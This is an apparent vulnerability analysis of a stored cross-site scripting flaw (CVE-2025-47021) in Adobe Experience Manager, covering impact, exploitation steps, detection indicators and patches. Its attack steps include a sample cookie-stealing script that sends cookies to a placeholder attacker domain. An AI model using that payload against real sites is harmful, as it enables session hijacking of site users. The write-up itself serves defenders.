CVE-2025-47021: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47021 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An attacker with low-level authenticated access can inject malicious JavaScript into vulnerable form fields within AEM; the payload is stored server-side and subsequently executed in the browser of any user who visits the affected page. Exploitation requires user interaction (a victim browsing to the compromised page) but no elevated privileges beyond a basic authenticated account (Adobe Advisory).

Successful exploitation can result in malicious JavaScript executing in the context of a victim's browser session, enabling session cookie theft, unauthorized actions performed on behalf of the victim, redirection to malicious sites, and potential compromise of user data. Because the script is stored persistently, every user who visits the affected page is at risk, amplifying the potential blast radius beyond a single targeted individual. Confidentiality and integrity are both impacted at a low level, while availability is unaffected (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47021. The EPSS score is approximately 0.029%, indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged authenticated account and user interaction, which somewhat limits opportunistic abuse (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, that is accessible and allows low-privileged user registration or login.
2. Authenticate: Log in to the AEM instance with a low-privileged account (e.g., a contributor or author role).
3. Locate vulnerable form field: Navigate to a content authoring page or form within AEM that accepts user-supplied input and does not properly sanitize it before storage.
4. Inject payload: Enter a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and submit the form.
5. Payload persistence: The malicious script is stored in the AEM repository and rendered as part of the page content.
6. Victim triggers execution: When a higher-privileged user (e.g., an administrator or editor) browses to the page containing the injected field, the script executes in their browser, potentially stealing session tokens or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in form field parameters.
• Content Repository: Unexpected <script> tags or JavaScript URIs stored within JCR (Java Content Repository) nodes, particularly in fields not intended to hold markup.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after page loads on AEM-authored pages, potentially indicating cookie or credential exfiltration.
• Browser/Proxy Logs: Requests to suspicious external URLs containing query parameters with session identifiers or cookie values originating from AEM page visits.

Adobe has released patches addressing this vulnerability: update to AEM 6.5.23.0 or later for on-premise installations, or ensure AEM Cloud Service is on version 2025.5.0 or later. As interim mitigations, administrators should implement strict input validation and output encoding on all user-supplied fields, deploy a Content Security Policy (CSP) to restrict unauthorized script execution, and limit authoring privileges to trusted users only. Regularly auditing content stored in the JCR for unexpected script content is also recommended (Adobe Advisory).